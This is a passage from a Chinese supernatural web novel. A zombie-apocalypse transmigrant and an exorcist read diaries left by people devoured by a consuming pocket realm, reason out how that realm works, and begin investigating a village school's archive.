我好像在这里生活了二十年,也在外面生活了二十年,这两个世界都是我,但是人又怎么可能同时存在在两个世界里呢? 写下记录之初,我只是被你和你爱人之间的感情打动,我循规蹈矩的半生里从未想过这样的感情,我希望能帮助你找到你的爱人,但现在这也变成了我的问题,我在哪里?我是谁?我的亲人到底是谁?请你告诉我。 原野读到这里觉得哪里不对劲,翻了前面一页去看日期,又把头伸到师酌光处,看他手里的保安日记本。 “你在看什么?”看笔记看到一半被一颗脑袋挡住视线的师酌光好脾气地问道。 “看日期,”原野看完,把脑袋又缩了回去,道:“这个女孩儿比保安开始记笔记的时间晚了很多,但更快意识到了不对劲,而且清醒的时间间隔也比保安短。” “你知道为什么吗?”师酌光问道。 “不知道。”原野老实摇头,期待地看着他。 师酌光笑道:“我也不知道。” 原野:………… 师酌光无语了这么多回,终于扳回来一城,嘴角压都压不下来,靠在轮椅背上回味了许久,才舍得开口,准备跟原野解释。 “没关系,”原野却先开口了,一脸可靠大哥哥的样子看着他:“不知道也没事的,都交给我就好了,我一定会带你出去的。” 师酌光:………………………… “你先往后读。”师酌光缓了半天,才咬着后槽牙挤出了一句话。 “哦。”原野低头继续读笔记。 师酌光则坐在轮上闭眼平复了半天心情。 他六岁开始驱鬼,哪怕他厌恶自己的身份,但在驱鬼一派,师酌光也是当世数一数二的高手,此时被当成柔弱的普通人看待,师酌光内心说不上来的憋屈。 原野对此毫无所觉,专心地看向下一篇笔记。 6月20日 乡小学的保安消失了。 我住小学附近,回家的路上经常能碰到他下班不回家,在路边招呼人打牌,有时候他喝多了,打牌输了不认账,还会和街坊们吵起来吗。我妈从小跟我说,遇到这种烂赌鬼要多远离多远,我还挺怕他的。 不过他倒是没找过我麻烦,他说过我像他女儿,过年的时候还把学校发的砂糖橘装了一兜送我。我不想要,可是也不敢拒绝他,毕竟我孤身一人在这里,他要是找我麻烦怎么办?反正最后那袋橘子我拿回家也没敢吃,送给邻居了。 就是这么个人,我一直没怎么关注他,直到今天我上班经过小学的时候,我才突然注意到,已经连续几天没见过那个保安大叔了,门房里只剩下李师傅一个人了。 保安大叔的名字我也忘记了。 不应该是这样的,我记得乡里所有人的名字,怎么会不记得这个我觉得有危险的人的名字? 一个人平白无故地消失了,我在这里的一年里,从来没有过这样的事,为什么你来了之后就有这样的事发生? 不,不对,人消失了,记忆也消失了,这里消失了多少人,我根本不知道。 救救我。 看到这行字,原野心下就是一沉。 保安就是在写下这一行字后消失的,这样求救的话,在这里更像是一种催命符。 果然下一页,女生的字迹都变得颤抖了起来。 6月24日 我知道,我也快消失了。 有什么东西一直在跟着我,我不知道那是什么,但是我知道,就是那个东西吃掉了保安大叔。 我想起来了,我见过保安大叔是怎么消失的。 有东西就趴在他的身上,先是吃掉了他的腿,然后是他的身体。他一直当着保安,伏在他身上的东西吃完了四肢,开始嚼他的脖子。 所有人都看到了他的样子,但我们全都熟视无睹,哪怕他只剩下一颗头,在地上滚动着,依然在当保安。 我们都看见了,然后头被吃完了,我们都忘记了。 我知道,我也会被吃掉,也许它已经在啃食我的身体了,只是我不知道。 不过我不害怕,我不想呆在这里了,我想回家,我想妈妈。我都想起来了,这里不是我的家,我不在家里,我在胃里。 吃掉我吧,我想妈妈了。 原野吞了口口水。他急切地向后翻去,却没找不到新的笔记了。 “不用找了,这之后女孩儿就消失了。”师酌光也看完了保安的日记,合上笔记本,正色道:“我知道我们在哪里了,我们一直没有离开别墅。” “啊?”原野呆住:“你开玩笑吧。” “保安和图书管理员都说了,他们在别墅里睡了一觉,醒来就到这里了,”师酌光并没有直接说出原因,而是试图引导原野:“为什么我们要走这么长的一条路呢?” “为什么呢?”原野一双大大的圆眼睛里闪烁着愚蠢的光芒,辜负了师老师的循循善诱。 师酌光:…… “为了我模糊我们的意识,”师酌光理了理自己的袖口,道:“保安和管理员都是普通人,意志不坚定,思维很容易就被所谓的‘它’污染了,接受了这个世界。但我们没有,你在别墅住了几天?” “几天?”原野靠在很有年代感的蓝布沙发上,仰头算了算日子,道:“第三天了,我把你从洪水里救起来的那天也是我到这里的第一天。” “等一下,”师酌光先被另一件事惊到了:“你怎么把我从洪水里救出来的?” 师酌光昏迷前最后的记忆是自己被封进棺材里,他当然想不到有任何一个人能完全违背自然的伟力,从洪流中直接捞出一个人来。只以为是洪水爆发后棺材被顺水冲下,在水流里被撞碎了,他被冲在岸边,侥幸活命,被原野捡回去罢了。 原野直接描述道:“你当时躺的黑色箱子被洪水冲了下来,我把盖子打破,就把你捞出来了。” 师酌光:………… “那叫棺材。”师酌光闻言半晌无语,这话里荒唐的地方实在太多,竟让他不知道从哪里问起,最后哭笑不得地指正了黑色箱子到底是什么。 “哈?”原野勤学好问:“那是什么?” 师酌光不想进行这幼儿园一般的启蒙对话,直接问道:“那你当那是什么?” 原野:“你对床品的特殊审美?” 师酌光:………… 我不是…… 此时此刻,师酌光再好的修养都有些绷不住了,咬紧牙关憋回去骂人的冲动,胸口起伏了几次,才道:“棺材,是用来装尸体的,我被一伙坏人抓了,封进了棺材里。” 死人、尸体、像活人一样的尸体。 这几个词简直瞬间触发了原野的丧尸关键词,他差一点就要从沙发上跳起来给师酌光通电了。 好在原野理智尚存,还记得自己穿越了,赶忙问道:“那你还活着吗?” 师酌光:…… 这真是个好问题,师酌光看着一脸惊恐的原野,总算觉得自己似乎找到了驱鬼师的主场地位,冷笑了一声,道:“难道你觉得你还活着吗?” 你、还、活、着、吗! 这五个字无异于晴天霹雳,击中了原野最脆弱的地方。 我真得还活着吗? 一个本应该在末世被电死的人扪心自问。 难道这一切都是我死前的幻想? 那么好吃的西瓜!那么厉害的冰箱!那么好看的电视剧!竟然都只是我的幻想! 原野眼泪汪汪地坐在沙发上,只觉得这两天吃的蓝莓西瓜炖牛肉、火腿饼干鱿鱼丝都穿着古装在他眼前载歌载舞地飞走了。 不要啊,至少把冰箱留下…… 原野悲伤得几乎要从沙发滑到地板上了。。 此情此景,坐在轮椅上的师酌光看着委顿的原野,虽然有种自己终于也让原野吃瘪了一回的扬眉吐气感,但又莫名的觉得,原野此时的悲伤,和他想要的有出入。 算了,不要想这个了。 师酌光叹了口气,就要熟练地摆出大师的架势,就看见原野眼泪直接流了下来。 不是!你怎么哭了!你到底在想什么啊! 师酌光当然想不到此刻原野脑子里跳霓裳羽衣舞的西瓜蓝莓,只觉得自己真是闲的,没事吓唬他干什么,现在把人还吓唬哭了,简直给自己找麻烦。 “不要哭了,你没有死。”师酌光自暴自弃道,彻底放弃了摆出高人架势吊着原野的计划。 “啊?”原野眼泪一收,目光炯炯看着师酌光。 “你,还有我”师酌光坐在轮椅上,脸色不善道:“只是濒死而已。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 12、第十二章 新知识 “濒死?”原野不解道:“那我这两天上蹿下跳算什么?” 师酌光:“算幻觉。” “保安、图书管理员还有你我,都是在濒死的状态下进入洄域的。”师酌光不理会原野复杂的表情,疲惫地摆手,示意他闭嘴,道:“不用着急,我会给你解释的。” “但我真得很急。”原野执着地举手。 师酌光:…… 师酌光皱眉:“你说。” “如果都这么虚弱了,咱们还在这里游荡,不会濒死变真死吧?”原野非常认真地发问。 “不、会。”师酌光几乎是咬着后槽牙发出来的声音。 求生欲怎么就这么旺盛?活着有那么好吗。 师酌光额头的青筋都开始跳了。 驱鬼师中,师酌光是顶尖中的顶尖,求到他的人,无不对他的话马首是瞻,只有这个原野,对他不尊敬就算了,还频频怀疑他的专业水准。 被一个外行中的外行如此质疑,师酌光没有直接把原野扔鬼魂堆里走人都算是有职业道德了。 “你闭嘴,”师酌光一字一顿道:“听我说。” “好的。”求生欲强的人也特别会看人脸色,原野心里虽然还有一堆话要问,但既然自己最关心的生死大问题解决了,其他的也就可以稍放一放。原野老实地端坐在沙发上,恨不得把手放在膝盖上以表自己的诚意。 然而一而鼓、再而衰,被原野刚才那一打岔,师酌光原本酝酿好的话此时怎么说都觉得不对劲,最后泄气般放弃了,靠在轮椅上自暴自弃道:“算了,给你个机会,你有什么想问的直接问吧。” “那我想知道保安和管理员最后都去哪里了?”原野问道。 “都死了,”师酌光声音淡淡道:“他们被抹掉了记忆,困在了洄域里,最后肉丨体和灵魂都被洄域吞噬了。” “灵魂是什么?”好学生原野再度提问。 师酌光:……………… “这个问题很奇怪吗?”原野从师酌光漫长的沉默里品味出自己似乎露马脚了。 “你……”师酌光看他的眼神都带上了审视,最后却放弃了追问,而是换了个话题,问道:“玩儿过手游吗?” 原野:“那是什么?” “电脑游戏呢?这个总玩儿过吧?”师酌光继续让步。 “呃……”原野从师酌光的话里察觉出了如果自己再说不知道就太不符合这个世界的常理了,开始竭力思考什么才能算师酌光所说的电脑游戏。 “我只玩过一种,在电脑里创建一个地图,然后放一些电子丧……电子小人进去,观察他们的生活状态。”原野最后拿出了基地预测丧尸演化趋势的电子沙盘搪塞师酌光。 “差不多……”师酌光若有所思地看了眼原野,接着转移了目光:“你可以把洄域理解成一个一直在运行的数字沙盘,保安和管理员在濒死时被抓取进了沙盘里,设置了新的身份,成为了这个游戏里的一个角色,你能懂吗?” “嗯嗯嗯。”原野猛点头。 “一个游戏的运行需要电力,进入到这里的人既是沙盘上的角色,也是支撑洄域这台设备运行的电池。洄域会优先消耗□□供能,之后是意识,直到整个人都被消磨殆尽,只剩下一个角色的空壳按照洄域的想法出现在它想摆放的位置。”师酌光淡淡道。 原野眼前浮现出七零八落的老李。 “洄域通过修改人的思维使他们放弃抵抗,但是通过记录,他们俩都恢复了一些个人意识,这对于洄域来说,就像是一段出现了乱码的数据,”师酌光抬头看了眼外面宜人的天色,嘲讽地笑了笑,继续道:“这两个人恢复意识的时间越长,出错的地方就越多,直到明显到被洄域里的管理员,也就是他们日记里的‘它’找到,彻底删掉了这段错误的数据。” “至于读书管理员比保安清醒得更快也是因为她在进入洄域前更理智,通过记录很快唤醒了她的意识。”师酌光顺便解释了之前原野的疑问。 考虑到原野可能是一个唯物主义战士,师酌光贴心地把灵魂这个词换成了意识。他说话时扭头看向了窗外,老式木框玻璃窗外浮云变换,映衬着天蓝色背景的玻璃上反射出原野的表情,迷茫,但并不害怕。 真是个深不可测的人。 师酌光收回目光,继续道:“这座别墅的地理位置和构造都十分特殊,人一旦进入到这个区域里,生和死的界限都变得模糊,而洄域,是区别于现世的未知,或者你可以理解为是一种平行世界……请给我一支笔。” 原野闻言起身,去师酌光的卧室找了只笔递给他。 “多谢。”师酌光直接将保安的笔记本翻到了后面几页,画出了一个分成三层的长方体,他用笔指着最上面的一层,道:“第一天的时候我们在这里,这是最接近现实世界的时候,所以你会误入别墅,我也会被洪水冲进来,被你所救。我们即使身体趋近死亡,但因为这里的影响,我们依然可以正常的生活。” “到了第二天,我们到了这里。”师酌光指向中间的一层:“生与死的界限进一步模糊,洄域想将我们吸收进去,保安和管理员就是在这里被带走的。但我恰好懂一些皮毛,而你……” 师酌光说到这里,凝视着原野清澈的眼睛,可疑地沉默了片刻:“心智坚定。” “你是不是想说我是个傻子。”原野敏锐地指出。 “你能想到这里,怎么可能是傻子?”师酌光笑笑,一句话轻飘飘带过,继续道:“所以最后,洄域为了逼迫我们进入,创造了一条通往何有乡的路。” “我们沿路来到这里,给了我们的意识一个离开现实世界的别墅,进入到洄域的概念,至此,我们正式进入到了洄域。”师酌光从拉下一个长箭头指向第三层上‘何有乡’三个字。 “那岂不是我们只要一直留在别墅就没事了?”原野想到这里有一种输了的挫败感。 “不会,我们虽然行动自如,但身体照样是濒死的状态,如果一直活在别墅,迟早有支撑不住的一天,到时候你就真死了。”师酌光说到这里,表情变得意味深长:“况且,这个洄域有意识,我们一直不上钩,它不知道会做出什么事情,还是来了的好。” “这个洄域有意识?”原野下意识重复道:“还有别的洄域?它们没有意识?” “这是个好问题。”师酌光勾起嘴角,露出一个笑容一样的弧度,道:“但讨论太多它会被发现,我们不妨进入下一个话题,谁让他们俩写下这些笔记的。” “我怎么知道……”原野迟疑地抓了一把刺猬一样的头发:“但是你要是让我猜的话……别墅那对夫夫里一个?” 师酌光闻言一愣。 “你那是什么表情?”原野瞪大眼睛看向师酌光:“我猜对了吧?” “你怎么知道的?”师酌光可没想过缺乏常识的原野能答出这个问题来。 “我随便猜的。”原野满脸阳光地说道:“你问我又不是为了欺负我,肯定是因为这个人我应该是知道的,然后数下来,也就他们了吧。是吧是吧,我是猜对了吧?” 师酌光失笑:“你说得对。” “不过你也就看了两本笔记吧,”原野忍不住奇道:“你是怎么看出来的?” “别墅里的食材对不上。两个成年男性加上他们的孩子一共三口人,四月底采购的食物按理说早就该吃完了,但是昨天我做饭的时候剩下的食物还够两个成年人吃三天,现在可是盛夏,哪个住别墅的家庭会一口气采购三个月的食物储存在家里呢?” 我呀! 原野听到这话眼睛都直了。 储存、三个月的食物、放在家里!这是什么样的好日子!等我出去之后我一定也要买这么多吃的堆在客厅,我要躺在食物堆里睡觉! 原野圆圆的眼睛里激射出幸福的光芒。 突然被探照灯一样的双眼照到的师酌光:…… 不知道在莫名其妙幸福什么…… 师酌光默默移开视线,咳嗽了一声:“总之这是不正常的行为。” 原野:“哦。” 那我把食物都堆在床底下,嘿嘿。 “而且这家人没有给小孩子准备零食。”师酌光继续道。 “啊?”原野一指他装了鱿鱼丝的书包:“这一包不都是零食?” “那不一样,”师酌光冷冷道:“那些有添加剂。” 又是一个知识盲区的原野:“啊?” “而且别墅里一张小孩儿的照片都没有,如果不是看到书房里的童书和二楼的儿童房,我都不会知道这个家里曾经存在过一个小孩儿。”师酌光不理会原野求知的表情,继续道:“四月底的采购之前,这个孩子离开了他们的生活。五月的时候,夫夫里的一个人进入了洄域。” 这道题原野终于可以答上来了:“因为消失了一个人,两个人的食物才能一直吃到现在?” “聪明。”师酌光伸手拿过管理员的笔记,找到其中一句圈起来,递给原野看。 “我循规蹈矩的半生里从未想过这样的感情。”原野念了出来,神情却还是迷茫。 师酌光见状,自然地解释道:“我不知道你的概念里是什么样,但是在普世价值里,像别墅夫夫这样的同性恋情,才可以说是循规蹈矩的人未曾想过的感情。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 13、第十三章 新伤口 两人对谈许久,何有乡的太阳和外面的世界一样,逐渐滑向山影里。师酌光背后的玻璃窗落满了晚霞的红影,将地面和师酌光一起,照得如同血染了一般。 “先吃饭吧。”沉没在血影里的师酌光突然说道。 “可是我还有很多想问。”原野的求生欲战胜了食欲。 “嘘——”师酌光抬手,修长的食指在唇间比了一个噤声的手势:“我们俩清醒了太长时间了,你该休息一会儿了。明天早上我会叫醒你。” 师酌光左手肘架在轮椅的扶手上,以手支着额头,藏起了不怀好意的眼睛。 不知道怎么,他突然想捉弄一下原野。 原野非常怕死。 师酌光已经无比清晰地认识到了这个人苟活于世的执着了,让他放弃思考,等待一个认识不到两天、不知道底细的人唤醒他,是绝对不会同意的。 “这不太好吧……” 原野果然迟疑了。 师酌光笑着直起身子,在心里猜测原野会编什么样的借口。 原野却正色道:“我为我之前对你的轻视道歉,我虽然不知道我们遇到的是什么,但从你说的这些就能看出,你在这方面的造诣非常深。” 这还算句人话。 师酌光心中一动,看原野都顺眼了些。 原野继续道:“我知道你敢一个人守夜肯定有自己的办法,你懂得也非常多,但是你一直醒着也会引起‘它’的注意,你终究还是弱……呃,我是说虚弱,没有说你……呃……对不起。” 原野一时嘴瓢把真心话说出来了,虽然及时改正,但看着师酌光逐渐变得凶恶的眼神还是识时务地闭嘴了。 什么看顺眼了,全是错觉。 师酌光表面坐在轮椅上云淡风轻,实际上要被气死了。 但还是要保持风度,不能骂他。 关键骂原野也没有用啊! 师酌光都可以想到,就算现在说自己一点也不弱,原野也肯定会一副哄小孩儿一样的态度说“没错没错,你很厉害。”这种话。 绝对会变得更生气。 师酌光转头,恶狠狠地看着厨房里的煤气灶,不留一丝余光给原野。 “那个——”原野顽强地举手,试图从煤气灶里分得一点注意力:“要不咱们分开值夜班吧,我上半夜,你下半夜。” “不用。”师酌光冷冰冰地拒绝他:“我有自己的办法,它不会感应到我。” “啊——”原野发出了一个略浮夸的声音:“那你很厉……” “不要夸我。”师酌光冷着脸及时制止。 原野:“哦。” “可是你不睡觉真得没关系吗?”原野心存疑虑道:“你很懂这里,如果你累垮的话,光靠我一个人,事情会变困难很多。” “不必担心,明天我就会带你出去。”师酌光冷冰冰地说完,推着自己的轮椅去房间里拿食物。 这里的食物和水都是不能吃的,为了保护他们那点为数不多的食物,师酌光把食物和水都收了起来,专门画了一个价值不菲的保护阵法来掩藏他们的面包和方便面。 现在他给原野分了一瓶矿泉水和一小段法棍。 “为什么咱俩吃的不一样?”原野拿着法棍,充满警惕地曲起手指敲了敲它,发出了可疑的“砰砰”声。 正在吃封装饼干的师酌光闻言停了下来,将口中的食物咽下后,慢慢开口道:“因为我不吃硬的。” 原野:…… 原野觉得自己被针对了,但是他没有证据。 这个东西真的能吃吗? 原野充满怀疑地啃了一口放了不知道多少天的法棍,给面包留下了一点擦伤。 原野:…… “我可以尝一口饼干吗?”原野看着香香脆脆的苏打饼干垂涎欲滴。 “不可以。”师酌光冷酷拒绝。 他果然在针对我。 原野含泪收回目光,专心啃自己的法棍,并试图让自己吃面包的形象看起来可怜一些,好激起师酌光的恻隐之心。 然而师酌光没有心。 原野用水把最后一口横亘在自己食道的法棍送服下去后,终于绝望地意识到师酌光的铁石心肠。 “你真的会带我出去的,对吧?”原野眼泪汪汪地看着调整轮椅,准备离开的师酌光:“你能分享一下你的计划吗?” 因为看到原野终于吃瘪而心情大好的师酌光笑眯眯道:“不告诉你。” 原野:t^t 为什么都针对我…… 原野心中飙泪,见师酌光要睡了,认命地起身,推着师酌光的轮椅进了卧室。 两天相处下来,以原野纵横尸海多年的经验能看出师酌光虽然看自己不爽,但没有恶意。 而且和第一天那样客气的态度相比,现在脾气变差还喜欢捉弄自己的师酌光显然对他态度更亲近了一些。 这性格倒是很像原野以前碰到的那些丧尸研究员,聪明、专业且自负,还十分讨厌外人擅自插手,不过也因此十分靠谱,绝不会允许有人在自己的专业领域里死掉。 这种熟悉的感觉让原野安心。 就是不知道为什么,师酌光和那些研究院一样,都喜欢捉弄自己。 丝毫不知道自己经常打直球打到别人脸上的原野对这跨越了世界仍然一致的行为感到迷惑。 一定是这些研究员的怪癖吧。 成熟的原野小队长最终对这种未知现象选择包容。 “我扶你?”原野回神,看着虚弱地撑着把手,要从轮椅上站起来的师酌光,问道。 “不要碰我。”师酌光还是冷冰冰的态度:“我可以自理。” 师酌光说话时撑在轮椅扶手上的双手仍在用力,苍白的手背上,青筋因为用力而凸起,显然用尽了所有的力气,但他仍然拒绝原野的帮忙。后者只能小心地站在他身后,手虚虚抬起,做出保护的姿态,以防师酌光脱力跌倒时,可以及时将他扶起。 师酌光感受到了原野在他身后的小心翼翼,只装作看不见,勉力将自己挪到了床上,闭眼呼出了一口长气。 “把手伸出来。”师酌光后脑抵靠在床头,汗水滑过喉结,疲惫道。 原野不解,但还是听话地右手递给了他。 原野的肤色比师酌光深一些,手腕上的肌肉和筋脉一样明显,是经常锻炼的躯体。师酌光取出一根红绳为原野系上。 “一会儿你要回自己的房间睡,”师酌光修长的手指在原野的腕间系出精巧的结:“如果遇到邪祟……不要问我邪祟是什么,总之如果有威胁到你生命的东西出现,这个红绳会自燃,将你唤醒,剩下的你应该自己就能对付了。” 原野抽了抽鼻子,犹疑道:“你用血染的?” “鼻子挺灵,”师酌光无心解释,轻笑了一声,然后道:“你做的那些储电的装备还有吗?我担心一个打火机不够用。” “有的,”原野没再多问,出门取了包里一把充电电池,全塞给了师酌光:“你用的时候……” “嘘——”师酌光将电池握在手里,笑道:“我知道怎么用。” “啊,”原野不知道怎么接这话了,干巴巴道:“那你挺厉害。” “噗——”师酌光被这个反应逗笑,俊美的脸上终于露出了些真心的笑意:“好了,你回去吧。按照我的记忆,明天早上你会来我这里吃饭,然后送我去上班,到时候我会唤醒你,再把下一步的计划告诉你。” “可以现在稍微透露一点吗?”原野眼看师酌光态度缓和,立刻得寸进尺道。 师酌光没说话,食指在唇间比了一个噤声的手势。 原野识相闭嘴。 “呃,需要帮你拿衣服吗?”原野犹豫了一下,又问道。 洄域里虽然也是盛夏,温度却比外面低一些,师酌光换了一件长袖的衬衫,就这么直接睡觉,肯定不会舒服。 “不需要。”师酌光想了想,又嘱咐道:“你晚上睡觉也不要脱衣服,万一有事方便逃跑。” “明白。”原野比了个“ok”的手势,确定师酌光没有其他需要后,这才离开了房间。 勤俭节约的原野走时还不忘关灯,师酌光躺在黑暗里,片刻后,客厅里的灯也被关掉,接着是老式木门打开又合上的声音。 原野离开了,房子里只剩下师酌光一个人。 他仰躺在床上,盯着没有任何装饰的屋顶,黑暗的碎屑从头顶簌簌掉落,深渊在墙壁与天花板之间游荡,世界在阴影中喘息。 他没将全部的真相告诉原野,除了清醒的时间过长会招来“它”的清除外,知道得越多,看到世界也就越真实。 满布的眼睛,活着的世界,存在于胃里,这些保安和管理员最后呓语一样的记录,就是他们看到的真实的洄域的一角。 生活在胃里吗? 老房子的墙壁在师酌光的注视下缓慢地蠕动起伏。 在这里被消化掉也不错啊。 黑暗包裹了一切,身体陷在被褥中,师酌光久违地获得一种融化一样的安全感。 就在此时,安静的房间里突然传来了莫名的对话声和音乐声。 师酌光愣了一下,反应过来是原野在隔壁打开了电视机。 他在看电视。 按时间来算,原野离失去意识也就不到两分钟时间了,这小子最后抓紧时间做的竟然是看电视? 师酌光想到这里有一种哭笑不得的感觉。 总之,要把他送出去。 师酌光翻了个身,强迫自己闭上了眼睛。 他的手臂露在外面,翻身时袖口的布料与被被子摩擦被卷了上去,露出的小臂上挖开了一道见骨的伤口。原野储存在打火机里异能核被粗暴地填在伤口里,在血肉的裂缝间不断灼伤着师酌光的手臂。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 14、第十四章 新名词 哪怕在洄域,太阳第二天也依然照常升起。 原野被闹钟吵醒,顶着一头乱糟糟的鸟窝头,抱着被子反应了半天,终于想起来,今天早起是为了送隔壁的师酌光去上班。 早上六点,睡眼惺忪的原野敲响了师酌光的家门。 隔壁的师酌光还是一样的温文尔雅,客气地将他请进了屋里,让他坐着,自己撑着轮椅去给他拿早餐。 今天吃什么呢?我比较想吃…… 原野呆呆地坐在餐桌旁幻想早餐,却发现自己脑海里一片空白,模模糊糊的只能浮现出一些汤汤水水似乎叫营养剂的东西。 谁要喝这个啊。 原野嫌弃撇嘴。 我想吃香香脆脆的饼干。 原野混沌的回忆里出现了饼干咬碎时酥脆的声音。 虽然没吃过,但是一定很好吃。 一截干硬的法棍戳在了原野的面前。 原野:…… “我想吃饼干。”原野发出抗议。 “手伸出来。”师酌光打断原野的话,强硬地说道。 原野懵懂地伸出了手,与师酌光的手掌交握,紧接着便被电了一下。 原野醒了。 “你不想吃饼干。”师酌光满意地收回手,扬起下巴一点原野面前的法棍:“吃吧。” 原野:…… 原野彻底死心,使出吃奶的力气啃下一口法棍,马一样铿锵地嚼了起来。 “保安和管理员的记录横跨了一个月之久,进来寻人的夫夫之一……姑且称呼他为a吧,他应该是懂一点其中的诀窍,知道为了能回到现世,他不能吃这里的食水,只能反复进出洄域,”吃饼干的师酌光看着就风雅很多,他咽下饼干,抬手喝了口瓶装水后,道:“至于他要找的爱人,就叫他b吧,肯定已经食用了这里的饮食,a没办法用他的方法将b带出去,才找到了保安和管理员,在他们身上试验让b恢复意识,带他离开的方法。” “那他找到了吗?”原野喝了口水,抻长了脖子把法棍咽了下去,问道。 师酌光一笑:“你虽然问我,但自己心里已经有答案了吧。” 原野扯了扯嘴角,露出一个勉强的笑容,权当应了。 就保安和管理员惨烈的记录来看,这个试验显然是失败了。 “那他现在还在洄域吗?”原野换了个话题。 “我不知道,”师酌光坦诚道:“不过他在与不在对我的计划没有影响,我们和他不同,他身体健康,是自愿进入洄域的,我们不是,我们是在濒死的状态下,被洄域召唤进来的,即使找到a,我们也能不用他的方法出去。” “等一下,”原野打断了师酌光的陈述,提问道:“所以你的意思是不管b也好,还是管理员保安,他们也都是濒死状态下进入这里的?b为什么会死?” 师酌光:“有两个原因都会引导人们进入洄域,一种是肉丨体处在濒死状态,比如保安,他所说的在别墅睡了一晚上第二天就来到了何有乡,很有可能是因为当晚降温,他被冻死了,第二种是灵魂的不稳定,”师酌光说到这里看了原野一眼,换了个说法:“你可以理解为精神受创,比如管理员,她说在二姨家住的时候出现了幻觉,这别墅是幢凶宅……” 师酌光说到这里突然停住了,因为他意识到自己无意间说了一个新的名词,有些烦人的家伙一定会提问的。 师酌光将不善的眼光投向原野。 后者果然举手了,明亮的眼睛里闪烁着无知的光:“凶宅是什么意思?” 师酌光淡淡道:“死过人的房子。” 原野变得惊恐起来:“死人会在房子里咬人?” “什么乱七八糟的,”师酌光皱眉:“人死不能复生,死了就是死了。” “那有什么可怕的?”原野更加疑惑了:“这个世界哪一块地没死过人?” 师酌光:…… 原野充满了求知欲:“所以河叫凶河?山叫凶山?是这么叫的吗?” 师酌光点头:“对,地球叫凶球。” “这样啊。”原野满意地点头,觉得逻辑通顺了。 师酌光沉重地发现,才一天的时间,自己似乎已经适应了原野的脑回路,他疲惫地叹出一口气:“总之你要知道,大家都忌讳凶宅。” 但是站在凶地上,喝着凶河的水就不忌讳了吗? 原野超级想问师酌光,但隐约觉得这么问出来会被骂。 “我不管你脑子里在想什么,不要说出来。”师酌光用冷冰冰的眼神警告性地看了原野一眼,才道:“小姑娘在这幢别墅里被吓到了,精神恍惚,继而进入了洄域。” “b应当也是差不多的原因,”师酌光道:“不过他不重要,重要的是‘记录’这个行为。” “让一个人恢复意识有很多种方法,比如你的打火机,”师酌光右手无意识抚过左臂,声音平静无波:“我相信a敢进入洄域寻人,一定也有更快的唤醒意识的办法,但是他没有简单地唤醒b,而是选择找人做试验,所以‘记录’这件事才值得注意,这一定是能撬动洄域的关键。” “原野。”师酌光第一次郑重地叫了他的名字。 原野表情一凛,知道师酌光接下来要说的一定非同小可。 “接下来的事情很重要,我需要你按照我说的去做,但是我无法向你解释这么做的原因,我只能向你承诺,只要你能做到,我一定能带你出去。”师酌光说话时凝视着原野的眼睛,认真地说道。 这一次师酌光没有捉弄原野的心思,但他依然向半路认识的同伴提出了一个十分过分的要求,原野会不会答应,师酌光心里也没底。 如果不答应的话…… 师酌光平静地坐在轮椅上,看着原野身后墙上挂着的时钟出神。 和我一起融化在这里吧…… 秒针一格一格地走着,发出“嗒”、“嗒”的声音。 原野开朗的笑声打破了寂静的节律:“知道了,我会按你说的做的。” 师酌光却没想到他会这么简单地答应,失笑道:“这么信任我?” “要信任队友啊。”原野笑起来,右手比了一个手枪的手势,对着师酌光做出了一个射击的动作。 原来这小子笑起来的时候有酒窝啊。 师酌光的心思却跳到了另一个地方。 还是两个。 “所以我要怎么做?”原野的兴趣已经被师酌光的任务吸引,肾上腺素的分泌让他比平时都要亢奋。 “首先,送我去学校。”师酌光被原野拉回了注意力,失神的表情在瞬间变回谦和有礼的微笑。 师酌光去学校的理由倒是很正当,作为何有乡唯一的文体活动相关单位的唯一工作人员,师酌光需要和校长商谈下周末的课外活动的详情。 不过这个活动真的会开展吗? 师酌光坐在校长室里,在等待校长到来的间隙,将轮椅移到了窗边。窗外阳光灿烂,绿树荫浓,他看着夏日的景色出身。 这里可是七月都不放暑假的地方啊。 原野不会觉得七月学校还在上学奇怪,师酌光却还是有常识的。 师酌光昨天在图书馆观察了一天,发现不管春夏秋冬、清明中秋,图书馆每一天都在工作,每一天都在接待差不多的读者,每一天都稳定得好像是同一天一样。 这里为什么没有假期呢? 随着师酌光的思考,刺目却没有温度的阳光像沥青一样浇在槐树的枝叶上,茂盛的树木开始在他的眼中扭曲融化成铺天盖地的浓绿色,蝉鸣声无休止地重复着,一声大过一声,如同一百万只夏蝉爬进了他的耳朵,沿着脊髓与脑干,无休止地鸣唱。 “师先生。”大腹便便的校长出现在门口:“好久不见啊。” “您好。”师酌光将轮椅转向门口的方向,笑了起来。 蝉声停止了。 同一时间,保安小原借口巡视,闪身钻进了学校的档案室翻资料。 一个没有实行电子化的学校,档案文书可以称得上浩如烟海,五十多平的房间里林立着军绿色铁制置物架,里面一盒又一盒,自建校起到今年的档案全部存在了这里。 原野按照师酌光的要求找最新日期的档案时心里还在嘀咕,师酌光甚至都没有告诉他要自己找什么,只说自己看到了就会明白。 但是这个明白是我能理解的明白吗? 已经深刻认识到自己和这个世界的常识有着不可逾越鸿沟的原野自己都怀疑自己。 原野一边质疑自己,一边利落地找到了最新的一盒档案,快速地打开。 原野忐忑地翻开了第一页。 ??嚄黑眪踤锕搵藁軰菔巭蚇嚄?軰 …… 原野:??? 原野不敢置信地翻到了第二页、第三页,最后不死心地快速翻完了整本档案,终于确定了,什么叫哪怕是自己也能一看就明白了。 ??嚄藁軰菔蚇嚄? …… 倣黑搵眪踤笵桁搵巭軰獬溫嚄藁锕菔 …… 整本档案里,密密麻麻写满了工整的黑体字,却没有一行是可以阅读的。 思及此,原野不由将目光投向了身后树林一样整齐排布的档案。 像是虫蚁在树木里繁殖一样,无法阅读的字从档案盒里溢了出来,密密麻麻,堆满了铁架,淌到地上,涌向原野。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 15、第十五章 新人物 有限的档案室在这一刻突然没有了边际,原野身后两步远的门变作了一个遥远的黑点,整齐排列的档案架无限复制,一排又一排填满了这个没有界限的空间,军绿色的铁架子不着边际地向上延伸,仿佛铁铸的原始森林,黑色的异体字如爆发的虫潮源源不断地冒了出来,几乎在瞬间就冲到了原野的脚边,那些无法阅读的文字好像长出了眼睛、口器、节肢,向着他攀爬。 原野警惕地看向满地黑麻麻的文字,心脏快速地跳动,修长的手指摆好了引电的手势,却由着那些东西爬上了裤腿,向着自己的身上攀爬。 他的直觉告诉自己,现在是个机会。 